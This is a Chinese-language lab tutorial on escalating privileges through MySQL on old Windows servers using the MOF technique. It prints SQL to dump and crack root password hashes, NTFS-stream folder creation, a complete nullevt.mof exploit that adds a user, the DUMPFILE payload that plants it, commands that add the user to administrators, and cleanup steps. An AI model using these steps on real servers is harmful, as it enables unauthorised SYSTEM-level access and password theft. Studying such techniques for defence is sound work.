MySQL提权
〇、Mysql提权的必备条件
Mysql的服务没有降权,并且需要获取Mysql root账号密码
使用net user命令查看系统当前帐号,如果出现Mysql这类用户,则系统可能进行了降权
1、Mysql密码查询
1、root密码查询 # MySQL <= 5.6 版本 select user,password from mysql.user where user='root'; # MySQL >= 5.7 版本 select host,user,authentication_string from mysql.user; 将hash放入md5网站破解
2、利用ntfs特性创建文件夹
1、创建lib文件夹 select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION'; 2、创建plugin文件夹 select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'
3、常用的sql基础查询命令
查看数据库路径 select @@datadir; 查看插件的路径 show variables like '%plugins%'; 查看Mysql的安装路径 select @@basedir; 查看当前操作系统多少位 select @@version_compile_os;
一、mof提权
0、环境搭建
1、win2k3 搭建
2、添加用户
net user mark 123456 /add
3、确认网络连接:ping、访问
4、在mark账户下搭建phpstudy
5、处理secure_file_prive
SHOW VARIABLES LIKE "secure_file_priv";
(1)NULL,表示禁止
(2)如果value值有文件夹目录,则表示只允许该目录下文件
(3)如果为空,则表示不限制目录
去掉导入的目录限制。可修改mysql配置文件(Windows下为my.ini, Linux下的my.cnf),在[mysqld]下面
修改完配置文件后,重启mysql生效。
重启后:
关闭:service mysqld stop
启动:service mysqld start
1、原理
利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行,以系统权限执行。
2、条件
1、windows 03及以下版本
2、mysql启动身份具有权限去读写 c:/windows/system32/wbem/mof目录
3、secure-file-priv参数不为null
4、在之前必须没有admin用户才能成功
3、开始
确认当前权限
net user whoami
MOF文件
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。
提权原理
MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权
公开的nullevt.mof利用代码
1 #pragma namespace("\\\\.\\root\\subscription") 2 instance of __EventFilter as $EventFilter 3 { 4 EventNamespace = "Root\\Cimv2"; 5 Name = "filtP2"; 6 Query = "Select * From __InstanceModificationEvent " 7 "Where TargetInstance Isa \"Win32_LocalTime\" " 8 "And TargetInstance.Second = 5"; 9 QueryLanguage = "WQL"; 10 }; 11 instance of ActiveScriptEventConsumer as $Consumer 12 { 13 Name = "consPCSV2"; 14 ScriptingEngine = "JScript"; 15 ScriptText = 16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")"; 17 }; 18 instance of __FilterToConsumerBinding 19 { 20 Consumer = $Consumer; 21 Filter = $EventFilter; 22 };
mof文件利用
将上面的脚本上传到有读写权限的目录下,因为mof目录直接无法写入
这里我上传到了
C:/phpStudy/WWW/222.mof
我们使用sql语句将文件导入到
C:/windows/system32/wbem/mof/nullevt.mof
值得一提的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据
payload:
select load_file("C:/phpStudy/WWW/222.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
验证提权
可以看到添加了hpdoger用户,剩下的操作就是用户命令处,换成加入administrator语句即可
net localgroup administrators hpdoger /add
4、删号
net stop winmgmt del c:/windows/system32/wbem/repository net start winmgmt
重新启动服务即可